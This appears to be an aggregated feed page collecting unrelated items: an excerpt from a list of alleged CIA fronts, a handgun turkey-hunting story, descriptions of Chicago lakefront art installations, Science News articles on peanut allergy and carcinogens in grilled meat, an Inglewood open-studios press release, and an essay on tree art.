    U.S. Youth Council (USYC). [CIA front]. Founded in 1945 and based in New York. Some 90 percent of its funds came from the CIA. USYC received funding from the Foundation for Youth and Student Affairs (FYSA), a CIA front. The USYC was composed of American Youth Hostels, Camp Fire Girls, 4-H, American Unitarian Youth, National Catholic Welfare Conference, National Students Assembly, YMCA and YWCA.

    Wackenhut. [CIA contractor]. Wackenhut, a Palm Beach Gardens, Florida-based security firm, stood accused of providing the CIA with specialized services around the world, including Chile, Greece, and El Salvador. Its Venezuelan branch, Wackenhut Venezolana, C.A., was accused in 2002 of involvement in the CIA’s coup against President Hugo Chavez. William Casey served as Wackenhut’s outside counsel before becoming CIA director in 1981.

    Wackenhut eventually merged into the global security firm G4S.

    Washington Post. [CIA partner]. The Washington Post was part of the CIA’s Operation MOCKINGBIRD, the agency’s media influence project. Post publisher Phil Graham was a close friend and associate of MOCKINGBIRD chief Frank Wisner, Sr. and CIA director Allen Dulles. Wisner assisted Graham in acquiring The Washington Times-Herald and WTOP radio, creating a sizable CIA-influenced media operation in the nation’s capital.

    W. R. Grace. [CIA partner]. Provided corporate cover to CIA officers operating abroad, particularly in Latin America. Provided donations to CIA front foundations.

  • News story about Madsen's book via The Justice Integrity Project



  •           JUDGE RULES NY TURKEY HUNT        
    When I first saw the Taurus International Judge revolver at the 2007 Shot Show it was being promoted as a self-protection gun and actually got its name because judges in high crime areas of Miami, Florida were purchasing them for personal defense in their courtrooms.

    The Judge is chambered for .410 bore shot shells and the .45 colt cartridge, which makes it very versatile. But my thoughts had nothing to do with self defense, but rather with small game hunting in New York State and, turkey in several other states where it is legal and where I hunt each year.


    My Judge, has been involved in some very interesting, enjoyable and exciting hunts, and it has issued the death sentence to a number of NYS rabbits and squirrel, a Pennsylvania eastern turkey, a Texas Rio Grande turkey, and several nasty rattlesnakes. And last week, due to changes in the New York State hunting regulations, a Saratoga wild turkey.

    These new 2010 turkey hunting regulation state “You may hunt with a shotgun or handgun only when using shot no larger that No. 2 and no smaller than No. 8.” You still are not allowed to take a turkey with a rifle, or with a handgun firing a bullet. My turkey hunting ammunition choice for this hunt was Federal Premium 2 1/2 inch No. 4 shot.

    On my first day in the turkey woods with the Judge I had a jake at no more than 10 feet from me. I had the hammer drawn and was about to end the hunt when I heard a loud gobble from across the field and saw a big tom which I assumed was headed for me. I gently lowered the hammer to wait for the bigger bird and ended up with neither. The jake was scared off by the gobbler and I have no idea what scared the gobbler. But on my second time out I did a bit more planning and scouting; and so as not to be tempted to use my regular turkey gun, I left it home in the cabinet.

    I was hunting in northern Saratoga County where I had put a big tom with his ladies to bed. I actually watched them two nights and felt confident that I knew their routine. The next afternoon around 1 p.m. I came in the backside of where I thought the turkeys would be and found some very thick brush near the field they had been flying down to; or so I thought. I cut three shooting lanes in the brush no larger than a dinner plate; one on the left, right and in front. My goal was to get a shot at no more than 10 yards. And before I left I placed my two decoy stakes just 5 paces from where I would be hiding. I wanted this gobbler in close.

    Early the next morning almost an hour before legal shooting time I slipped into the field, put my decoy bodies out and climbed into my natural blind to wait to see what happen. Perhaps 10 minutes before legal shooting time there was a gobble right where I hoped it would be and for a few minutes I talked with him to be sure he knew exactly where I was. But when he finally flew off his roost it was not into the field but rather away from me. I immediately called and he answered; but he did not come; he was answering, but moving away.

    For about an hour he did not answer any of my calls and I thought it was over. And then he gobbled on his own and when I yelped he answered, I thought for sure this time he was coming. But again he stayed in the woods and only answered me every once in awhile. My thoughts were that he had to be with hens and he refused to leave them. I continued to call but did not get any response. Then, about 45 minutes later he gobbled from behind me sending chills up and down my spine; he was very close to me and I dare not move. I did however get my thumb on the hammer of the Judge.

    It seemed like forever before he moved but when he did I could hear his spitting and drumming as he moved and came in on my left. He actually scraped against the bush I was hidden in. Slowly I raised raised the Judge and drew back the hammer. And when that red head entered my shooting hole in the brush the Judge spoke and I had my first NYS wild turkey with a handgun. He weighed in at 15 pounds and carried a 5 1/2 inch beard. As for the shot it was no more that 3-4 yards. This was absolutely one of my most exciting turkey hunts ever. That single Federal shotshell casing is now in my gun cabinet along with his beard. If you want to see the photos of my Judge turkey go to, noonanpics.blogspot.com


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              firstinhermind.com – Shelley's Instant Attraction Generator Package        
    The firstinhermind.com – Shelley's Instant Attraction Generator Package Homepage Another day, another review! Let’s take a look at firstinhermind.com – Shelley's Instant Attraction Generator Package today, shall we?. The assessment will incorporate all of the facts that I have managed to find during my research. I haven’t actually used the product – instead I’ve done [...]
              With an emphasis on culture, a new kind of nature trail emerges along Chicago’s south lakefront        
    Environment & Conservation

    North of the Margaret Burroughs Beach, a Caracol-inspired gathering space with a Mesoamerican hop scotch game is be part of a new trail in the Burnham Wildlife Corridor. This is one of five sites installed in by teams of artists and community-based organizations whose designs are inspired both by local ecology, as well as the heritage of communities adjacent to the south lakefront.

    Moving along the trail, just past the 31st Harbor, an intertwined monarch butterfly sculpture crowns a hill, this design will be circled with common milkweed. West of Lake Shore Drive on 31st Street, south on the trail, a Scholar's rock sits in a grove of mature oak trees; have a seat and imagine the sounds of traffic as waves from an ocean, urban nature at its best. Crossing 39th street/Oakwood, on the west side of Lake Shore Drive, designed for growth every year, sculpted willow branches take organic shapes. The woodchip trail continues, a fallen tree hugs a bird sculpture born from the Sankofa symbol, a soulful reflection on nature.

    The Gathering Spaces, part of the Roots & Routes Initiative, were curated by a volunteer committee comprised of arts professionals and community leaders. 

    Caracol Opening

    Caracol, Burnham Wildlife Corridor, Roots & Routes, Habitat Restoration, Pilsen, Contratiempo, Chicago, Lakefront
    Photo by John Weinstein, © The Field Museum


    1. Caracol

    Lead artists:  Georgina Valverde, Diana Solis, Jose Terrazas

    Non-profit partner:  contratiempo (Pilsen) – preserves and highlights the cultural identity and contributions of the Spanish-speaking

    Latino population in the United States.

    Description:  Drawing on rich connections from the natural world and cultural symbolism, Caracol (“snail” and “shell” in Spanish) represents the immigrant's desire to belong while maintaining the core of memory and identity. Snails perform a critical role in the food chain, breaking down plant matter and aiding in the nutrification of the soil. Likewise, immigrants economic and cultural contributions enrich and revitalize the host society. Caracol´spiral-shaped structure suggests ongoing movement from the core to a widening exterior—from the familiar to the unknown.  The installation includes a table that can function as a work or picnic table, and as a painting surface for a series of murals featuring the interplay of language and images, a stage, and a hopscotch game that uses Mesoamerican numbers.

     

    La Ronda Parakata

    Gathering Spaces, Burnham Wildlife Corridor, Chicago, Festivals, Summer, Spring, Latino art, African-American art, monarch butterfly, sankofa, bronzeville, pilsen, chinatown, scholars rock, La Ronda Parakata
    Photo by John Weinstein, © The Field Museum

    2. La Ronda Parakata

    Lead artists:  Hector DuarteAlfonso “Piloto” Nieves

    Non-profit partner:  Casa Michoacán (Pilsen) – promotes cultural, social, and sporting activities between the Mexican and immigrant Michoacán community, with a transnational vision.

    Description:  This project is a circular sculpture inspired by the magic symbolism of the butterfly, harmony with nature, and migration.  It is demarcated by a delicate sculptural ring or “ronda” of interlocking butterfly forms. The center of the space features native plants and cement blocks that are being repurposed as rustic seating.

     

    Set in Stone

    Gathering Spaces, Burnham Wildlife Corridor, Chicago, Festivals, Summer, Spring, Latino art, African-American art, monarch butterfly, sankofa, bronzeville, pilsen, chinatown, scholars rock, Set in Stone
    Photo by John Weinstein, © The Field Museum

    3. Set in Stone

    Lead artists:  Andy Bellomo, Anna Murphy

    Non-profit partner:  Chinese-American Museum of Chicago (Chinatown) -- promotes the culture and history of Chinese-Americans in the Midwest through exhibitions, education and research.

    Description:  This project is an interpretation of a traditional Chinese “scholar’s rock” by sculpting, molding and fabricating a sculpture that emulates the magnificence felt through viewing these rocks. The scholar’s rock sculpture is placed at the center of a tranquil rock garden with hand-carved log benches for viewing/contemplation.

     

    Sounding Bronzeville

    Gathering Spaces, Burnham Wildlife Corridor, Chicago, Festivals, Summer, Spring, Latino art, African-American art, monarch butterfly, sankofa, bronzeville, pilsen, chinatown, scholars rock, Sounding Bronzeville
    Photo by John Weinstein, © The Field Museum

    4. Sounding Bronzeville

    Lead artists:  Fo Wilson, Norman Teague

    Non-profit partner:  Bronzeville Community Development Partnership (Bronzeville) -- focuses on information technology, heritage tourism, hospitality workforce development and training, preservation and sustainability in Bronzeville.

    Description:  This site includes several organic, amorphous sculptural forms that rise from the ground in different heights and shapes, covered with native plant material. Some of these forms serve as seating, and some have “sound ports” or “nesting ports.” These openings allow for visibility through the forms as well as opportunities for specific audial experiences between people. This piece commemorates and remembers the strength and resilience of thousands of African-Americans who made the journey from the South seeking better opportunities North with 100 years of the Great Migration.

    Architects: Monica Chadha and Mike Newman; Landscape Architects Nilay Mistry and Nathan Wright; Willow Furniture Maker and Consultant Dave Chapman

     

    Sankofa for the Earth

    Gathering Spaces, Burnham Wildlife Corridor, Chicago, Festivals, Summer, Spring, Latino art, African-American art, monarch butterfly, sankofa, bronzeville, pilsen, chinatown, scholars rock, Sankofa for the Earth
    Photo by John Weinstein, © The Field Museum

    5. Sankofa for the Earth

    Lead artists:  Arlene Turner Crawford, Dorian Sylvain, Raymond A. Thomas

    Non-profit partner:  South Side Community Art Center (Bronzeville) -- preserves, conserves and promotes the legacy and future of African American art and artists, while educating the community on the value of art and culture.

    Description:  This project features a “Sankofa” bird made from mixed-media and recycled materials. In Africa, a bird looking backwards over its tail represents the Sankofa symbol, which means “go back and fetch it.” It is an understanding that our past(s) holds important information to move us forward in life. There is a mosaic on the exterior of the bird and mural on the interior representing Bronzeville history. QR codes are integrated into the mural design to allow visitors with smartphones, to access sites with information about the images included in the mural, as well as, information on Bronzeville, the Chicago Park District and the Field Museum.

     

    How to get to the Gathering Spaces: 

    Gathering Spaces Map


              "What kind of flooring is that?"        



    shelley asked "Can you tell me the brand of laminate flooring?" in your kitchen renovation?
    I sure can, Shelley!...
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              Buffett to Perform in Hawaii in November        
    According to KHON 2, Jimmy Buffett will perform at the Waikiki Shell in Honolulu on Saturday, November 4th. Honolulu, HI Saturday, November 4th, 2017 Waikiki Shell KHON says that it will be an acoustic show and that Jake Shimabukuru will be a special guest. Tickets go on sale Friday, June 9th through Ticketmaster and Ticketnetwork. […]
              No Peanuts for Your Peanut        

    Youngsters are developing peanut allergies earlier because of exposures in babyhood

    Food for Thought

    Peanuts are a protein-rich snack food packing plenty of vitamins and trace nutrients. However, these legumes can elicit potentially life-threatening immune reactions within the one in 100 American adults who are allergic to them. Rates of peanut allergy are even higher among children. And the really disturbing news: A new study finds that the age at which this common food allergy first shows up is falling.

    Today, peanut allergy typically emerges in early toddlerhood, a team of Duke University researchers reports in the December Pediatrics. "That's almost a year earlier than what we knew, scientifically, a decade ago, "explains A. Wesley Burks, a pediatric allergist who coauthored the new study.

    Although children outgrow many allergies, peanut allergy is not typically one of them. Among people who develop immune reactions to this food, 80 percent retain their allergy for life.

    The new study began, Burks says, after Duke immunologists noticed that they were encountering younger patients with peanut allergy. To investigate, the researchers pulled entry records and medical charts for all 140 young patients who had come in with the allergy since 1988. Poring over the records confirmed a fall in age at first diagnosis throughout this period—one that proved more dramatic than expected, Burks told Science News Online.

    Nationally, the rate of food allergy appears to be increasing, according to a 2006 report of a National Institutes of Health expert panel. The most striking increase, it noted, has been for peanut allergy, which is also the most common food sensitivity. Because some allergies can be avoided by delaying a child's initial introduction to certain foods, in 2000 the American Academy of Pediatrics recommended that parents "consider" keeping peanuts, tree nuts, fish and shellfish out of the diet of kids under age 3.

    Burks acknowledges that most parents aren't aware of this recommendation. On the other hand, most peanut allergy shows up in children that had already exhibited allergic reactions to other foods—typically eggs or milk. Many affected children also had skin sensitivities as infants, such as eczema or atopic dermatitis, and a parent or sibling with allergies, although not necessarily to food.

    Against that background, you would think parents of the most vulnerable kids would be especially careful about introducing peanuts into the diet. And they might well have been. Indeed, Burks suspects that most initial introductions to peanuts in his young patients were inadvertent. Either a child encountered items that contained unlabeled traces of peanuts—perhaps a jelly bean, certain flavorings used in medicines, or any of several baby lotions (see Unexpected Sources of Peanut Allergy). Or perhaps the kids encountered peanut allergen in the air when others were eating, handling, or cooking foods that contained the legume.

    But for now, Burks' team has no firm leads on why peanut allergies are showing up earlier. The Duke group and others will be probing that in the next few years.

    Homing in on the problem

    Children with peanut allergy in the new study showed the expected history of vulnerability. For instance, four in five had parents or a sib with some form of allergy. Four in five children also had personally experienced atopic dermatitis, two in every three suffered from asthma, and more than half had allergies that triggered runny noses. Moreover, blood tests from two-thirds of the youngsters turned up antibodies highlighting sensitivity to other foods, typically eggs or tree-nuts.

    Half of the young patients were born between 1988 and 1999, the rest between 2000 and 2005. The average age of their peanut allergy's onset was significantly different between the two groups—roughly 29 months old for the pre-2000 birth group, versus 15 months for children born since 2000. Within the first group, half of the children developed peanut allergy by 21 months of age; for children born since 2000, half developed their allergy by the time they were 14 months old.

    In hopes of teasing out factors that contributed to the trend of earlier allergies, Burks' group is participating in a Food Allergy Research Consortium that has been given $17 million to study food allergies—especially to peanuts. One facet of the 5-year program, which is sponsored by NIAID, is investigating the use of shots to desensitize people with peanut allergy. In addition, some 400 infants with milk and egg allergies will be studied for signs of immunological differences that distinguish those who outgrow their allergies from those who retain them lifelong.

    Currently, some 30,000 people a year are hospitalized for food allergy in the United States, and 200 die during an allergic episode. One concern, Burks notes, is that children who develop peanut allergy earlier than in the past might face a lower-than-usual chance of outgrowing their life-threatening affliction—one that requires constant vigilance.

    Such an allergy can even crimp one's social life. Consider the poor teenage girl whose lips swelled up after being kissed by her boyfriend (see A Rash of Kisses). Hours earlier, the boy had eaten peanuts, to which the girl was allergic.


    If you would like to comment on this Food for Thought, please see the blog version.

    Citations

    American Academy of Pediatrics

    141 Northwest Point Boulevard

    Elk Grove Village, IL 60007

    Web site: [Go to]

    A. Wesley Burks

    Division of Pediatric Allergy and Immunology

    Duke University Medical Center

    DUMC 2644

    Durham, NC 27710

    National Institutes of Health

    National Institute of Allergy and Infectious Diseases

    Office of Communications and Government Relations

    6610 Rockledge Drive, MSC 6612

    Bethesda, MD 20892-6612

    Web site: [Go to]
    Further Reading

    Helmuth, L. 1999. Allergy vaccine may take fear out of nuts. Science News 155(April 3):213. Available at [Go to].

    Long, A. 2002. The nuts and bolts of peanut allergy. New England Journal of Medicine 346(April 25):1320-1322. Extract available at [Go to].

    Raloff, J. 2003. Unexpected sources of peanut allergy. Science News Online (March 15). Available at [Go to].

    ______. 2002. A rash of kisses. Science News 162(July 20):40. Available at [Go to].

    ______. 1998. The mango that thought it was poison ivy. Science News Online (Aug. 8). Available at [Go to].

    ______. 1997. A whiff, a sniff—then asthma. Science News Online (Feb. 1). Available at [Go to].

    ______. 1996. Peanut allergy found common and increasing. Science News 150(Sept. 7):150. Available at [Go to].

    _____. 1996. Family allergies? Keep nuts away from kids. Science News 149(May 4):279. Available at [Go to].

    Seppa, N. 2003. Tough nut is cracked: Antibody treatment stifles peanut reactions. Science News 163(March 15):163. Available at [Go to].

              Troubling Meaty 'Estrogen'        

    High temperature cooking can imbue meats with a chemical that acts like a hormone

    Food for Thought

    Women take note. Researchers find that a chemical that forms in overcooked meat, especially charred portions, is a potent mimic of estrogen, the primary female sex hormone. That's anything but appetizing, since studies have linked a higher lifetime cumulative exposure to estrogen in women with an elevated risk of breast cancer.

    Indeed, the new finding offers a "biologically plausible" explanation for why diets rich in red meats might elevate breast-cancer risk, notes Nigel J. Gooderham of Imperial College London.

    At the very high temperatures reached during frying and charbroiling, natural constituents of meats can undergo chemical reactions that generate carcinogens known as heterocyclic amines (see Carcinogens in the Diet). Because these compounds all have very long, unwieldy chemical monikers, most scientists refer to them by their abbreviations, such as IQ, MeIQ, MeIQx, and PhIP.

    Of the nearly two dozen different heterocyclic amines that can form, PhIP dominates. It sometimes accumulates in amounts 10 to 50 times higher than that of any other member of this toxic chemical family, Gooderham says. Moreover, he adds, although heterocyclic amines normally cause liver tumors in exposed animals, PhIP is different: "It causes breast cancer in female rats, prostate cancer in male rats, and colon cancer in both." These are the same cancers that in people are associated with eating a lot of cooked meats.

    However, the means by which such foods might induce cancer has remained somewhat elusive. So, building on his team's earlier work, Gooderham decided to probe what the heterocyclic amine did in rat pituitary cells. These cells make prolactin—another female sex hormone—but only when triggered by the presence of estrogen. Prolactin, like estrogen, fuels the growth of many breast cancers.

    In their new test-tube study, Gooderham and coauthor Saundra N. Lauber show that upon exposure to PhIP, pituitary cells not only make progesterone, but also secrete it. If these cells do the same thing when they're part of the body, those secretions would circulate to other organs—including the breast.

    But "what was startling," Gooderham told Science News Online, is that it took just trace quantities of the heterocyclic amine to spur prolactin production. "PhIP was incredibly potent," he says, able to trigger progesterone production at concentrations comparable to what might be found circulating in the blood of people who had eaten a couple of well-done burgers.

    The toxicologist cautions that there's a big gap between observing an effect in isolated cells growing in a test-tube and showing that the same holds true in people.

    However, even if PhIP does operate similarly in people, he says that's no reason to give up grilled meat. Certain cooking techniques, such as flipping hamburgers frequently, can limit the formation of heterocyclic amines. Moreover, earlier work by the Imperial College team showed that dining on certain members of the mustard family appear to detoxify much of the PhIP that might have inadvertently been consumed as part of a meal.

    The human link

    Three recent epidemiological studies support concerns about the consumption of grilled meats.

    In the first, Harvard Medical School researchers compared the diets of more than 90,000 premenopausal U.S. nurses. Over a 12-year period, 1,021 of the relatively young women developed invasive breast cancers. The more red meat a woman ate, the higher was her risk of developing invasive breast cancer, Eunyoung Cho and her colleagues reported in the Archives of Internal Medicine last November. The increased risk was restricted, however, only to those types of breast cancers that are fueled by estrogen or progesterone.

    Overall, women who ate the most red meat—typically 1.5 servings or more per day—faced nearly double the invasive breast-cancer risk of those eating little red meat each week.

    Related findings emerged in the April 10 British Journal of Cancer. There, researchers at the University of Leeds reported data from a long-running study of more than 35,000 women in the United Kingdom who ranged in age from roughly 35 to 70. Regardless of the volunteers' age, Janet E. Cade's team found, those who consumed the most meat had the highest risk of breast cancer.

    Shortly thereafter, Susan E. Steck of the University of South Carolina's school of public health and her colleagues linked meat consumption yet again with increased cancer risk, but only in the older segment of the women they investigated. By comparing the diets of 1,500 women with breast cancer to those of 1,550 cancerfree women, the scientists showed that postmenopausal women consuming the most grilled, barbecued, and smoked meats faced the highest breast-cancer risk.

    These data support accumulating evidence that a penchant for well-done meats can hike a woman's breast-cancer risk, Steck and her colleagues concluded in the May Epidemiology.

    PhIP fighters

    Such findings have been percolating out of the epidemiology community for years. Nearly a decade ago, for instance, National Cancer Institute scientists reported finding that women who consistently ate their meat very well done—with a crispy, blackened crust—faced a substantially elevated breast-cancer risk when compared to those who routinely ate rare- or medium-cooked meats.

    However, even well-done meats without char can contain heterocyclic amines, chemical analyses by others later showed. The compounds' presence appears to correlate best with how meat is cooked, not merely with how brown its interior ended up (SN: 11/28/98, p. 341).

    At high temperatures, the simple sugar glucose, together with creatinine—a muscle-breakdown product, and additional free amino acids, can all interact within beef, chicken, and other meats to form heterocyclic amines. In contrast, low-temperature cooking or a quick searing may generate none of the carcinogens.

    Because there's no way to tell visually, by taste, or by smell whether PhIP and its toxic kin lace cooked meat, food chemists have been lobbying commercial and home chefs to reduce the heat they use to cook meats—or to turn meats frequently to keep the surfaces closest to the heat source from getting too hot.

    The significance of this was driven home to Gooderham several years ago when just such tactics spoiled an experiment he was launching to test whether Brussels sprouts and broccoli could help detoxify PhIP. "I bought 30 kilograms of prime Aberdeen angus lean beef," he recalls. "Then we ground it up and I gave it to a professional cook to turn into burgers and cook." Professional cooks tend to move meats around quite a bit, he found. The result: His expensive, chef-prepared meat contained almost no PhIP.

    In the end, he says, "I sacked the cook, bought another 30 kilos of meat and prepared the burgers myself. It was a costly lesson."

    Once restarted, however, that study yielded encouraging data.

    One way the body detoxifies and sheds toxic chemicals is to link them to what amounts to a sugar molecule. Consumption of certain members of the mustard (Brassica) family, such as broccoli and Brussels sprouts (both members of the B. oleracea species)—can encourage this process. So Gooderham's team fed 250 grams (roughly half a pound) each of broccoli and Brussels sprouts each day to 20 men for almost 2 weeks. On the 12th day, the men each got a cooked-meat meal containing 4.9 micrograms of PhIP.

    Compared to similar trial periods when their diets had been Brassica-free, the volunteers excreted up to 40 percent more PhIP in urine, the researchers reported in Carcinogenesis.

    Experimental data suggest that two brews may also help detoxify heterocyclic amines. In test-tube studies, white tea largely prevented DNA damage from the heterocyclic amine IQ (SN: 4/15/00, p. 251), and in mice, extracts of beer tackled MeIQx and Trp-P-2 (see Beer's Well Done Benefit).

    The best strategy of all, most toxicologists say, is to prevent formation of heterocyclic amines in the first place. In addition to frequently turning meat on the grill or fry pan, partially cooking meats in a microwave prior to grilling will limit the toxic chemicals' formation. So will mixing in a little potato starch to ground beef before grilling (see How Carbs Can Make Burgers Safer) or marinating meats with a heavily sugared oil-and-vinegar sauce (SN: 4/24/99, p. 264).


    If you would like to comment on this Food for Thought, please see the blog version.

    Citations

    Janet E. Cade

    UK Women's Cohort Study

    Centre for Epidemiology and Biostatistics

    30/32 Hyde Terrace

    The University of Leeds

    Leeds LS2 9LN

    United Kingdom


    Eunyoung Cho

    Channing Laboratory

    Department of Medicine

    Harvard Medical School

    181 Longwood Avenue

    Boston, MA 02115

    Nigel J. Gooderham

    Biomolecular Medicine

    Imperial College London

    Sir Alexander Fleming Building

    London SW7 2AZ

    United Kingdom

    Susan Elizabeth Steck

    Department of Epidemiology and Biostatistics

    Statewide Cancer Prevention and Control Program

    Arnold School of Public Health

    University of South Carolina

    2221 Devine Street, Room 231

    Columbia, SC 29208
    Further Reading

    Raloff, J. 2007. Concerns over genistein, part II—Beyond the heart. Science News Online (July 7). Available at [Go to].

    ______. 2007. Concerns over genistein, part I—The heart of the issue. Science News Online (June 16). Available at [Go to].

    ______. 2006. Pesticides mimic estrogen in shellfish. Science News 170(Dec. 16):397. Available to subscribers at [Go to].

    ______. 2006. No-stick chemicals can mimic estrogen. Science News 170(Dec. 2):366. Available to subscribers at [Go to].

    ______. 2006. Meat poses exaggerated cancer risk for some people. Science News Online (March 25). Available at [Go to].

    ______. 2005. Beer's well done benefit. Science News Online (March 5). Available at [Go to].

    ______. 2005. Carcinogens in the diet. Science News Online (Feb. 19). Available at [Go to].

    ______. 2004. How carbs can make burgers safer. Science News Online (Dec. 4). Available at [Go to].

    ______. 2004. Uranium, the newest 'hormone'. Science News 166(Nov. 13):318. Available to subscribers at [Go to].

    ______. 2001. Fire retardant catfish? Science News Online (Dec. 8). Available at [Go to].

    ______. 1999. Well-done research. Science News 155(April 24):264-266. Available at [Go to].

    ______. 1998. Very hot grills may inflame cancer risks. Science News 154(Nov. 28):341. Available at [Go to].

    ______. 1996. Another meaty link to cancer. Science News 149(June 8):365. Available at [Go to].

    ______. 1996. 'Estrogen' pairings can increase potency. Science News 149(June 8):356. Available at [Go to].

    ______. 1995. Beyond estrogens: Why unmasking hormone-mimicking pollutants proves so challenging. Science News 148(July 15):44. Available at [Go to].

    ______. 1994. Meaty carcinogens: A risk to the cook? Science News 146(Aug. 13):103.

    ______. 1994. Not so hot hot dogs? Science News 145(April 23):264-269.

    ______. 1994. How cooked meat may inflame the heart. Science News 145(March 12):165.

    ______. 1994. The gender benders. Science News 145(Jan. 8):24. Available at [Go to].

    Smith-Roe, S.L., et al. 2006. Induction of aberrant crypt foci in DNA mismatch repair-deficient mice by the food-borne carcinogen 2-amino-1-methyl-6-phenylimidazo [4,5-b] pyridine (PhIP). Cancer Letters. 244(Nov. 28):79-85. Abstract available at [Go to].

    ______. 2006. Mlh1-dependent responses to 2-amino-1-methyl-6-phenylimidazo [4,5-b] pyridine (PhIP), a food-borne carcinogen. (Abstract # 514). Toxicologist 90(March):105.

    ______. 2006. Mlh1-dependent suppression of specific mutations induced in vivo by the food-borne carcinogen 2-amino-1-methyl-6-phenylimidazo [4,5-b] pyridine (PhIP). Mutation Research/Fundamental and Molecular Mechanisms of Mutagenesis 594(Feb. 22):101-112. Abstract available at [Go to].

              Inglewood Open Studios
Tour Celebrates Its Tenth Year! Saturday, November 12 & Sunday, November 13, 2016. 12pm-5pm        

    Inglewood Open Studios Celebrates its Tenth Year! Saturday, November 12th and Sunday November 13,2016 12pm - 5pm

    For Immediate Release:  


     Inglewood Open Studios
Tour Celebrates Its Tenth Year!
    Saturday, November 12 & Sunday, November 13, 2016. 12pm-5pm
       
    
LOS ANGELES, CA – Inglewood has become the fastest growing artist community in Los Angeles. It is also the fastest growing city, undergoing daily changes for and around the NFL stadium, Hollywood Park Casino, along new Metro lines and downtown Inglewood. The tenth annual Inglewood Open Studios tour will showcase the impressive depth and talent of this community on the weekend of November 12-13, from 12:00 to 5:00pm both days. As always, Inglewood Open Studios remains an artist run event, co-organized by local non profit Inglewood Cultural Arts (ICA).

    On both Saturday November 12 and Sunday, November 13, Inglewood artists will open their studios to the public, inviting visitors to personally tour their private working spaces and enjoy art created in all media--drawing, painting, sculpture, mixed-media, photography, print making, installation, video and performance.

    To mark our 10th year anniversary, co-founder Renée Fox will curate a group show of 2016 Inglewood Open Studios artist participants at Residency gallery, a new gallery in Inglewood, managed by Rick Garzon. With its second exhibition about to open, Residency has already had reviews in Contemporary Art Review la (also known as CARLA) and Artillery. The group show will serve as stop #1 on the tour route, and, as a preview of art that can be seen on the tour. Group show dates: Saturday, November 12 through Wednesday, November 16 with a closing reception on November 16 from 6-9PM.

    An official map with Inglewood Open Studios location details will be available online, at Residency gallery and at all artist studio locations on the tour. For additional information on Inglewood Open Studios, including the printable tour map, please visit  www.inglewoodopenstudios.com Free shuttle transportation will also be provided by the City of Inglewood.

    Participating Artists -
    Inglewood Open Studios participants include both established and emerging artists. The 2016 Inglewood Open Studios artists are listed in alphabetical order:

    Adrienne Adar
    Susan Amorde
    Brian Biedul
    Martin Bruinsma
    Kelly Brumfield-Woods
    Darel Carey
    Matthew Carey
    Anne Cheek La Rose
    Joyce Dallal
    Bibi Davidson
    Beth Dubber
    Martin Durazo
    Renee Fox
    Sue Francis
    Calida Garcia Rawles
    Michael Giancristiano
    Nancy Jo Haselbacher
    Shelly Heffler
    Astrelle Johnquest
    Michael Massenburg
    Christopher L. Mercier
    David Newcombe
    Lindsey Nobel
    Kenneth Ober
    Toni Reinis
    Joan Robey
    Alexandra Rose
    Dawn Rosenquist
    Karen Sikie
    Stan Smith
    ZinShu Spock, 
    Ernie Steiner
    Holly Tempo
    Sidney Tuggerson, Jr.
    Ginger Van Hook
    Luke Van Hook
    MonaLisa Whitaker
    Exceptional Children's Foundation (29 artists)

    Inglewood, CA -

    Photo by Ginger Van Hook©2012
    Inglewood, CA -
    Photo by Ginger Van Hook©
    Inglewood is nestled in the center of Los Angeles County. Bordered by the LAX International Airport, it is in close proximity to Otis College of Art and Design and is surrounded by the cities of Culver City, El Segundo, Marina Del Rey, Westchester, and Torrance.




    Inglewood Cultural Arts -
    Inglewood Cultural Arts, Inc. (ICA), functions as fiscal receiver and co-organizer for the Inglewood Open Studios. ICA is an independent, multidisciplinary nonprofit arts organization serving residents of Inglewood and surrounding communities. ICA's mission is to enhance the quality of life in the community by providing diverse cultural arts programs. www.inglewoodculturalarts.org 



    Van Hook Foundation-
    Van Hook Foundation (VHF) is the media sponsor for the Inglewood Open Studios and may be contacted for additional information. 
    VHF is a 501(c)(3) non-profit organization founded in Inglewood and located at the Beacon Arts Building Gallery 1D.
    The Van Hook Foundation’s mission is to promote the merging of fine art and science through the curating, jurying, installation and mounting of artistic, educational and scientific exhibitions for the public and to Promote Visibility of the Local Arts Communities in Los Angeles and surrounding areas.  vanhookfoundation.blogspot.com, www.gingervanhook.com, www.lukevanhook.com, gingersartjournal.blogspot.com



    For additional information, please contact press liaison Ginger Van Hook at gingervanhook@gmail.com


              The Art of Lovin' Trees --- Featuring Joel Tauber        




    The Art of Lovin’ Trees-- 
    Featuring Artist Joel Tauber
    Story dedicated to Joel and Alison
    in celebration of their joyous engagement on November 9th,
    2008

    Written and Researched by Enilde Van Hook
    Story Consult and Editing by Luke Van Hook
    Painting, www.lukevanhook.com
    Photography, www.gingervanhook.com
    Writing, www.enildeingelsvanhook.com


     America is having a love affair with trees and California is second to none in leading its appreciation of trees. Digging deep into the roots of this story, I have followed and researched the tree culture specifically in Los Angeles where our love of trees has spawned a unique pop tree culture relating to art. Our popular tree culture today includes but is not limited to tree sculptures, tree paintings, tree photographs, tree videos, tree poetry, tree songs, tree jewelry, tree movies and even tree love affairs. 


    Tree Earing created by Joel Tauber for his Sick-Amour Tree in Pasadena, California.
    Additional Tree Jewelry created by Joel Tauber to adorn the Sick-Amour Tree includes leaf jewelry, as well as the male earing and the female earing that hang from the tree below.  
    Photos of tree jewelry courtesy of  Susanne Vielmetter Gallery 5795 West Washington Blvd., Culver City, California 90232 www.vielmetter.com   infor@vielmetter.com (323-933-2117)


    Sick-Amour Tree in the parkinglot of the Pasadena Rose Bowl, protected by barriers installed by Joel Tauber in his quest to save his beloved tree. Tree wearing the earings looks hot!  Photo courtesy of Susanne Vielmetter Gallery.
    Leaf sculpture by Joel Tauber
    Female tree earing by Joel Tauber.
    Male tree earing created by Joel Tauber, photo courtesy of Susanne Vielmetter Gallery, 2008

    For the record, our love of trees goes way back to the dawn of time when we were swinging in the trees, however, our love has grown and matured since then. The Greek and Roman heritage of literature and art bestows us with intoxicating stories of their Gods having entanglements with humans. Some of their deities were known as protectors of trees and nature such as Dionysus the Greek god of agriculture, fertility, wine and merriment. He was later renamed Bacchus by the Romans and reported to be the Tree God. Back in the day when artists carved trees into stone and marble relief sculptures to worship in the temples of their mythological gods, people celebrated the sacredness of trees, grapevines and sometimes the unions of gods and mortals. There was Pomona, the goddess of fruit trees who married Vertumnus, the god of fruits and gardens. Digging deep enough, one is sure to find stories of deities mating with trees and spawning children of the harvest for instance.

    In modern literary circles there are a number of great imaginative family favorites written about trees, like “The Giving Tree” by Shel Silverstein. Then there’s the infamous story of how Robinson Crusoe lived in a tree-house, and of utmost importance to our American history of trees, we propagate the very memorable legend of ‘Johnny Appleseed’.

